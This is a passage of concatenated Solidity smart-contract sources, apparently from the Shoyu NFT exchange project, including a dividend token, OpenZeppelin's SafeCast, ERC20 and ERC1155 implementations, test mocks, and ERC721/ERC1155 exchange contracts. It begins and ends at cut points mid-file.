`magnitude`, the amount of undistributed ether/erc20 /// (de-magnified) in a distribution can be less than 1 wei. /// We can actually keep track of the undistributed ether/erc20 in a distribution /// and try to distribute it in the next distribution, /// but keeping track of such data on-chain costs much more than /// the saved ether/erc20, so we don't do that. function sync() public payable override returns (uint256 increased) { uint256 _totalSupply = totalSupply(); require(_totalSupply > 0, "SHOYU: NO_SUPPLY"); uint256 balance = dividendToken.balanceOf(address(this)); increased = balance - totalDividend; require(increased > 0, "SHOYU: INSUFFICIENT_AMOUNT"); magnifiedDividendPerShare += (increased * MAGNITUDE) / _totalSupply; totalDividend = balance; emit Sync(increased); } /// @notice Withdraws the ether/erc20 distributed to the sender. /// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether/erc20 is greater than 0. function withdrawDividend() public override { uint256 _withdrawableDividend = withdrawableDividendOf(msg.sender); if (_withdrawableDividend > 0) { withdrawnDividends[msg.sender] += _withdrawableDividend; emit DividendWithdrawn(msg.sender, _withdrawableDividend); totalDividend -= _withdrawableDividend; dividendToken.safeTransfer(msg.sender, _withdrawableDividend); } } /// @notice View the amount of dividend in wei that an address can withdraw. /// @param account The address of a token holder. /// @return The amount of dividend in wei that `account` can withdraw. function dividendOf(address account) public view override returns (uint256) { return withdrawableDividendOf(account); } /// @notice View the amount of dividend in wei that an address can withdraw. /// @param account The address of a token holder. /// @return The amount of dividend in wei that `account` can withdraw. function withdrawableDividendOf(address account) public view override returns (uint256) { return accumulativeDividendOf(account) - withdrawnDividends[account]; } /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param account The address of a token holder. /// @return The amount of dividend in wei that `account` has withdrawn. function withdrawnDividendOf(address account) public view override returns (uint256) { return withdrawnDividends[account]; } /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(account) = withdrawableDividendOf(account) + withdrawnDividendOf(account) /// = (magnifiedDividendPerShare * balanceOf(account) + magnifiedDividendCorrections[account]) / magnitude /// @param account The address of a token holder. /// @return The amount of dividend in wei that `account` has earned in total. function accumulativeDividendOf(address account) public view override returns (uint256) { return ((magnifiedDividendPerShare * balanceOf(account)).toInt256() + magnifiedDividendCorrections[account]) .toUint256() / MAGNITUDE; } /// @dev Internal function that transfer tokens from one address to another. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param from The address to transfer from. /// @param to The address to transfer to. /// @param value The amount to be transferred. function _transfer( address from, address to, uint256 value ) internal override { super._transfer(from, to, value); int256 _magCorrection = (magnifiedDividendPerShare * value).toInt256(); magnifiedDividendCorrections[from] += _magCorrection; magnifiedDividendCorrections[to] -= _magCorrection; } /// @dev Internal function that mints tokens to an account. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param account The account that will receive the created tokens. /// @param value The amount that will be created. function _mint(address account, uint256 value) internal override { super._mint(account, value); magnifiedDividendCorrections[account] -= (magnifiedDividendPerShare * value).toInt256(); } /// @dev Internal function that burns an amount of the token of a given account. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param account The account whose tokens will be burnt. /// @param value The amount that will be burnt. function _burn(address account, uint256 value) internal override { super._burn(account, value); magnifiedDividendCorrections[account] += (magnifiedDividendPerShare * value).toInt256(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Initializable is Initializable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "SHOYU: INSUFFICIENT_ALLOWANCE"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "SHOYU: ALLOWANCE_UNDERFLOW"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "SHOYU: INVALID_SENDER"); require(recipient != address(0), "SHOYU: INVALID_RECIPIENT"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "SHOYU: INSUFFICIENT_BALANCE"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "SHOYU: INVALID_ACCOUNT"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "SHOYU: INVALID_ACCOUNT"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "SHOYU: INSUFFICIENT_BALANCE"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "SHOYU: INVALID_OWNER"); require(spender != address(0), "SHOYU: INVALID_SPENDER"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC1155.sol"; import "./IERC1155Receiver.sol"; import "./extensions/IERC1155MetadataURI.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping (uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping (address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor (string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch( address[] memory accounts, uint256[] memory ids ) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); _balances[id][from] = fromBalance - amount; _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); _balances[id][from] = fromBalance - amount; _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn(address account, uint256 id, uint256 amount) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); _balances[id][account] = accountBalance - amount; emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); _balances[id][account] = accountBalance - amount; } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "../interfaces/IERC2981.sol"; contract ERC1155RoyaltyMock is ERC1155("MOCK") { address public owner; constructor() { owner = msg.sender; } function mint( address account, uint256 id, uint256 amount, bytes memory data ) external { _mint(account, id, amount, data); } function mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) external { _mintBatch(to, ids, amounts, data); } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == 0x2a55205a || super.supportsInterface(interfaceId); } function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address, uint256) { uint256 fee = 100; if (_tokenId < 10) fee = 10; return (owner, (_salePrice * fee) / 1000); } } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; contract ERC1155Mock is ERC1155("MOCK") { function mint( address account, uint256 id, uint256 amount, bytes memory data ) external { _mint(account, id, amount, data); } function mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) external { _mintBatch(to, ids, amounts, data); } } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./base/BaseExchange.sol"; contract ERC1155ExchangeV0 is BaseExchange { bytes32 internal immutable _DOMAIN_SEPARATOR; uint256 internal immutable _CACHED_CHAIN_ID; address internal immutable _factory; constructor(address factory_) { __BaseNFTExchange_init(); _factory = factory_; _CACHED_CHAIN_ID = block.chainid; _DOMAIN_SEPARATOR = keccak256( abi.encode( // keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)') 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f, keccak256(bytes(Strings.toHexString(uint160(address(this))))), 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6, // keccak256(bytes("1")) block.chainid, address(this) ) ); } function DOMAIN_SEPARATOR() public view override returns (bytes32) { bytes32 domainSeparator; if (_CACHED_CHAIN_ID == block.chainid) domainSeparator = _DOMAIN_SEPARATOR; else { domainSeparator = keccak256( abi.encode( // keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)') 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f, keccak256(bytes(Strings.toHexString(uint160(address(this))))), 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6, // keccak256(bytes("1")) block.chainid, address(this) ) ); } return domainSeparator; } function factory() public view override returns (address) { return _factory; } function canTrade(address nft) public view override returns (bool) { return !ITokenFactory(_factory).isNFT1155(nft); } function _transfer( address nft, address from, address to, uint256 tokenId, uint256 amount ) internal override { IERC1155(nft).safeTransferFrom(from, to, tokenId, amount, ""); } } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./base/BaseExchange.sol"; contract ERC721ExchangeV0 is BaseExchange { bytes32 internal immutable _DOMAIN_SEPARATOR; uint256 internal immutable _CACHED_CHAIN_ID; address internal immutable _factory; constructor(address factory_) { __BaseNFTExchange_init(); _factory = factory_; _CACHED_CHAIN_ID = block.chainid; _DOMAIN_SEPARATOR = keccak256( abi.encode( // keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)') 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f, keccak256(bytes(Strings.toHexString(uint160(address(this))))), 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6, // keccak256(bytes("1")) block.chainid, address(this) ) ); } function DOMAIN_SEPARATOR() public view override returns (bytes32) { bytes32 domainSeparator; if (_CACHED_CHAIN_ID == block.chainid) domainSeparator = _DOMAIN_SEPARATOR; else { domainSeparator = keccak256( abi.encode( // keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)') 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f, keccak256(bytes(Strings.toHexString(uint160(address(this))))), 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6, // keccak256(bytes("1")) block.chainid, address(this) ) ); } return domainSeparator; } function factory() public view override returns (address) { return _factory; } function canTrade(address nft) public view override returns (bool) { return !ITokenFactory(_factory).isNFT721(nft); } function _transfer( address nft, address from, address to, uint256 tokenId, uint256 ) internal override { IERC721(nft).safeTransferFrom(from, to, tokenId); } } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; contract ERC721Mock is ERC721("Mock", "MOCK") { function safeMint( address to, uint256 tokenId, bytes memory data ) external { _safeMint(to, tokenId, data); } function safeMintBatch0( address[] calldata to, uint256[] calldata tokenId, bytes memory data ) external { require(to.length == tokenId.length); for (uint256 i = 0; i < to.length; i++) { _safeMint(to[i], tokenId[i], data); } } function safeMintBatch1( address to, uint256[] calldata tokenId, bytes memory data ) external { for (uint256 i = 0; i < tokenId.length; i++) { _safeMint(to, tokenId[i], data); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is 